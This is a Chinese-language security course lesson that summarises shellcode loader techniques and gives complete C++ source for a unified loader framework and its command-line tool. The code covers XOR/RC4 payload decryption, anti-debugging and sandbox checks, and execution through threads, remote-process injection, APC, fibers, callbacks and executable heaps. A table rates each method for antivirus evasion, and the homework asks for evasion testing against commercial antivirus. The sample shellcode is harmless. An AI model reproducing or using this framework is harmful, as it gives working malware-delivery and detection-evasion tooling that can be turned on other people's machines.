shellcode loader
15、阶段合集
1、课程目标
- 回顾和整合所有ShellCode Loader技术
- 构建统一的Loader框架
- 理解各种技术的适用场景
- 掌握组合使用多种技术的方法
2、知识回顾
2.1、ShellCode Loader技术分类
┌─────────────────────────────────────────────────────────────────┐
│ ShellCode Loader 技术全览 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 基础执行方式 │
│ ├─ 课时01: 内联汇编 (x86 only) │
│ ├─ 课时02: 函数指针 │
│ └─ 课时03: CreateThread/CreateRemoteThread │
│ │
│ 多语言实现 │
│ ├─ 课时04: Golang │
│ ├─ 课时05: C# │
│ └─ 课时06: Python │
│ │
│ 高级执行技术 │
│ ├─ 课时07: 可执行堆 │
│ ├─ 课时08: APC注入 │
│ ├─ 课时09: 线程上下文劫持 │
│ ├─ 课时10: TLS回调 │
│ ├─ 课时11: VEH异常处理 │
│ ├─ 课时12: Fiber纤程 │
│ ├─ 课时13: SEH异常处理 │
│ └─ 课时14: 回调函数 │
│ │
└─────────────────────────────────────────────────────────────────┘
2.2、技术对比
| 技术 | 隐蔽性 | 复杂度 | 免杀效果 | 适用场景 |
|---|---|---|---|---|
| 函数指针 | 低 | 低 | 低 | 基础测试 |
| CreateThread | 低 | 低 | 低 | 简单执行 |
| 远程线程 | 中 | 中 | 中 | 进程注入 |
| APC | 高 | 中 | 高 | 隐蔽注入 |
| 线程上下文 | 高 | 高 | 高 | 无痕注入 |
| TLS回调 | 高 | 中 | 高 | 预执行 |
| VEH/SEH | 中 | 中 | 中 | 异常触发 |
| Fiber | 高 | 中 | 高 | 轻量执行 |
| 回调函数 | 高 | 低 | 高 | 隐蔽调用 |
3、代码实现
1. 统一Loader框架
// unified_loader.hpp
// 统一ShellCode Loader框架
#pragma once
#include <windows.h>
#include <functional>
#include <memory>
#include <vector>
#include <string>
// 执行方法枚举
enum class LoadMethod {
FunctionPointer,
CreateThread,
RemoteThread,
APC,
ThreadContext,
TLS,
VEH,
SEH,
Fiber,
Callback,
HeapExecute,
NtCreateThreadEx
};
// 加密方法枚举
enum class EncryptMethod {
None,
XOR,
RC4,
AES
};
// 配置结构
struct LoaderConfig {
LoadMethod method = LoadMethod::CreateThread;
EncryptMethod encryption = EncryptMethod::None;
std::vector<BYTE> key;
bool antiDebug = false;
bool sandboxCheck = false;
DWORD delayMs = 0;
DWORD targetPid = 0; // 用于远程注入
};
class ShellcodeLoader {
private:
std::vector<BYTE> m_shellcode;
LoaderConfig m_config;
LPVOID m_allocatedMem = nullptr;
public:
ShellcodeLoader() = default;
~ShellcodeLoader() { Cleanup(); }
// 加载ShellCode
bool Load(const BYTE* data, size_t size) {
m_shellcode.assign(data, data + size);
return true;
}
bool LoadFromFile(const std::string& path) {
HANDLE hFile = CreateFileA(path.c_str(), GENERIC_READ,
FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return false;
DWORD size = GetFileSize(hFile, NULL);
m_shellcode.resize(size);
DWORD read;
ReadFile(hFile, m_shellcode.data(), size, &read, NULL);
CloseHandle(hFile);
return read == size;
}
// 配置
void SetConfig(const LoaderConfig& config) {
m_config = config;
}
// 解密
bool Decrypt() {
if (m_config.encryption == EncryptMethod::None) return true;
switch (m_config.encryption) {
case EncryptMethod::XOR:
return DecryptXOR();
case EncryptMethod::RC4:
return DecryptRC4();
case EncryptMethod::AES:
return DecryptAES();
default:
return false;
}
}
// 执行
bool Execute() {
// 前置检查
if (m_config.antiDebug && IsDebuggerPresent()) {
return false;
}
if (m_config.sandboxCheck && IsSandbox()) {
return false;
}
if (m_config.delayMs > 0) {
Sleep(m_config.delayMs);
}
// 解密
if (!Decrypt()) return false;
// 执行
switch (m_config.method) {
case LoadMethod::FunctionPointer:
return ExecuteFunctionPointer();
case LoadMethod::CreateThread:
return ExecuteCreateThread();
case LoadMethod::RemoteThread:
return ExecuteRemoteThread();
case LoadMethod::APC:
return ExecuteAPC();
case LoadMethod::Fiber:
return ExecuteFiber();
case LoadMethod::Callback:
return ExecuteCallback();
case LoadMethod::HeapExecute:
return ExecuteHeap();
default:
return ExecuteCreateThread();
}
}
private:
// 解密方法
bool DecryptXOR() {
if (m_config.key.empty()) return false;
for (size_t i = 0; i < m_shellcode.size(); i++) {
m_shellcode[i] ^= m_config.key[i % m_config.key.size()];
}
return true;
}
bool DecryptRC4() {
// RC4实现
if (m_config.key.empty()) return false;
BYTE S[256];
for (int i = 0; i < 256; i++) S[i] = i;
int j = 0;
for (int i = 0; i < 256; i++) {
j = (j + S[i] + m_config.key[i % m_config.key.size()]) & 0xFF;
std::swap(S[i], S[j]);
}
int i = 0; j = 0;
for (size_t k = 0; k < m_shellcode.size(); k++) {
i = (i + 1) & 0xFF;
j = (j + S[i]) & 0xFF;
std::swap(S[i], S[j]);
m_shellcode[k] ^= S[(S[i] + S[j]) & 0xFF];
}
return true;
}
bool DecryptAES() {
// 需要外部库支持
return false;
}
// 执行方法
bool AllocateMemory() {
m_allocatedMem = VirtualAlloc(NULL, m_shellcode.size(),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!m_allocatedMem) return false;
memcpy(m_allocatedMem, m_shellcode.data(), m_shellcode.size());
DWORD oldProtect;
VirtualProtect(m_allocatedMem, m_shellcode.size(),
PAGE_EXECUTE_READ, &oldProtect);
return true;
}
bool ExecuteFunctionPointer() {
if (!AllocateMemory()) return false;
typedef void (*SC_FUNC)();
SC_FUNC func = (SC_FUNC)m_allocatedMem;
func();
return true;
}
bool ExecuteCreateThread() {
if (!AllocateMemory()) return false;
HANDLE hThread = CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)m_allocatedMem, NULL, 0, NULL);
if (!hThread) return false;
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return true;
}
bool ExecuteRemoteThread() {
if (m_config.targetPid == 0) return false;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, m_config.targetPid);
if (!hProcess) return false;
LPVOID remoteMem = VirtualAllocEx(hProcess, NULL, m_shellcode.size(),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteMem) {
CloseHandle(hProcess);
return false;
}
SIZE_T written;
WriteProcessMemory(hProcess, remoteMem, m_shellcode.data(),
m_shellcode.size(), &written);
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteMem, NULL, 0, NULL);
if (hThread) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
VirtualFreeEx(hProcess, remoteMem, 0, MEM_RELEASE);
CloseHandle(hProcess);
return hThread != NULL;
}
bool ExecuteAPC() {
if (!AllocateMemory()) return false;
HANDLE hThread = GetCurrentThread();
QueueUserAPC((PAPCFUNC)m_allocatedMem, hThread, 0);
SleepEx(0, TRUE);
return true;
}
bool ExecuteFiber() {
if (!AllocateMemory()) return false;
LPVOID mainFiber = ConvertThreadToFiber(NULL);
if (!mainFiber) return false;
LPVOID scFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)m_allocatedMem, NULL);
if (!scFiber) {
ConvertFiberToThread();
return false;
}
SwitchToFiber(scFiber);
DeleteFiber(scFiber);
ConvertFiberToThread();
return true;
}
bool ExecuteCallback() {
if (!AllocateMemory()) return false;
EnumSystemLocalesA((LOCALE_ENUMPROCA)m_allocatedMem, LCID_INSTALLED);
return true;
}
bool ExecuteHeap() {
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
if (!hHeap) return false;
LPVOID mem = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, m_shellcode.size());
if (!mem) {
HeapDestroy(hHeap);
return false;
}
memcpy(mem, m_shellcode.data(), m_shellcode.size());
typedef void (*SC_FUNC)();
((SC_FUNC)mem)();
HeapFree(hHeap, 0, mem);
HeapDestroy(hHeap);
return true;
}
// 检测方法
bool IsSandbox() {
// 简单的沙箱检测
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) return true;
MEMORYSTATUSEX ms;
ms.dwLength = sizeof(ms);
GlobalMemoryStatusEx(&ms);
if (ms.ullTotalPhys < 2ULL * 1024 * 1024 * 1024) return true;
return false;
}
void Cleanup() {
if (m_allocatedMem) {
VirtualFree(m_allocatedMem, 0, MEM_RELEASE);
m_allocatedMem = nullptr;
}
}
};
2. 使用示例
// main.cpp
// 统一Loader使用示例
#include <iostream>
#include "unified_loader.hpp"
int main(int argc, char* argv[]) {
std::cout << "========================================" << std::endl;
std::cout << " Unified ShellCode Loader " << std::endl;
std::cout << "========================================" << std::endl;
// 测试ShellCode
BYTE shellcode[] = { 0x90, 0x90, 0x31, 0xC0, 0x40, 0xC3 };
ShellcodeLoader loader;
// 加载ShellCode
loader.Load(shellcode, sizeof(shellcode));
// 配置
LoaderConfig config;
config.method = LoadMethod::Callback;
config.antiDebug = true;
config.sandboxCheck = true;
config.delayMs = 1000;
loader.SetConfig(config);
// 执行
std::cout << "[*] Executing shellcode..." << std::endl;
if (loader.Execute()) {
std::cout << "[+] Execution successful" << std::endl;
} else {
std::cout << "[-] Execution failed" << std::endl;
}
return 0;
}
3. 命令行工具
// loader_cli.cpp
// 命令行Loader工具
#include <iostream>
#include <string>
#include "unified_loader.hpp"
void PrintUsage(const char* name) {
std::cout << "Usage: " << name << " [options] <shellcode.bin>" << std::endl;
std::cout << "Options:" << std::endl;
std::cout << " -m <method> Execution method (thread, apc, fiber, callback, heap)" << std::endl;
std::cout << " -e <type> Encryption (none, xor, rc4)" << std::endl;
std::cout << " -k <key> Encryption key (hex)" << std::endl;
std::cout << " -d <ms> Delay in milliseconds" << std::endl;
std::cout << " -p <pid> Target PID for remote injection" << std::endl;
std::cout << " --anti-debug Enable anti-debug checks" << std::endl;
std::cout << " --sandbox Enable sandbox detection" << std::endl;
}
LoadMethod ParseMethod(const std::string& s) {
if (s == "thread") return LoadMethod::CreateThread;
if (s == "apc") return LoadMethod::APC;
if (s == "fiber") return LoadMethod::Fiber;
if (s == "callback") return LoadMethod::Callback;
if (s == "heap") return LoadMethod::HeapExecute;
if (s == "remote") return LoadMethod::RemoteThread;
return LoadMethod::CreateThread;
}
int main(int argc, char* argv[]) {
if (argc < 2) {
PrintUsage(argv[0]);
return 1;
}
LoaderConfig config;
std::string filename;
for (int i = 1; i < argc; i++) {
std::string arg = argv[i];
if (arg == "-m" && i + 1 < argc) {
config.method = ParseMethod(argv[++i]);
} else if (arg == "-d" && i + 1 < argc) {
config.delayMs = std::stoi(argv[++i]);
} else if (arg == "-p" && i + 1 < argc) {
config.targetPid = std::stoi(argv[++i]);
} else if (arg == "--anti-debug") {
config.antiDebug = true;
} else if (arg == "--sandbox") {
config.sandboxCheck = true;
} else if (arg[0] != '-') {
filename = arg;
}
}
if (filename.empty()) {
std::cerr << "[-] No shellcode file specified" << std::endl;
return 1;
}
ShellcodeLoader loader;
if (!loader.LoadFromFile(filename)) {
std::cerr << "[-] Failed to load: " << filename << std::endl;
return 1;
}
std::cout << "[+] Loaded shellcode from: " << filename << std::endl;
loader.SetConfig(config);
if (loader.Execute()) {
std::cout << "[+] Execution completed" << std::endl;
} else {
std::cerr << "[-] Execution failed" << std::endl;
return 1;
}
return 0;
}
4、章节总结
本章系统学习了ShellCode Loader的各种技术:
- 基础技术:函数指针、内联汇编、线程执行
- 多语言实现:Go、C#、Python各有特点
- 高级技术:APC、线程上下文、TLS、异常处理、Fiber、回调
- 实战应用:统一框架、加密解密、反检测
选择合适的Loader技术需要考虑:
- 目标环境的安全软件
- 执行场景(本地/远程)
- 隐蔽性要求
- 开发难度
后续课程将学习更多注入技术和免杀方法。
5、课后作业
5.1、作业1:扩展框架
为统一框架添加更多执行方法和加密算法。
5.2、作业2:组合技术
实现多种技术的组合使用(如加密+延迟+回调)。
5.3、作业3:免杀测试
测试不同方法对主流杀软的免杀效果。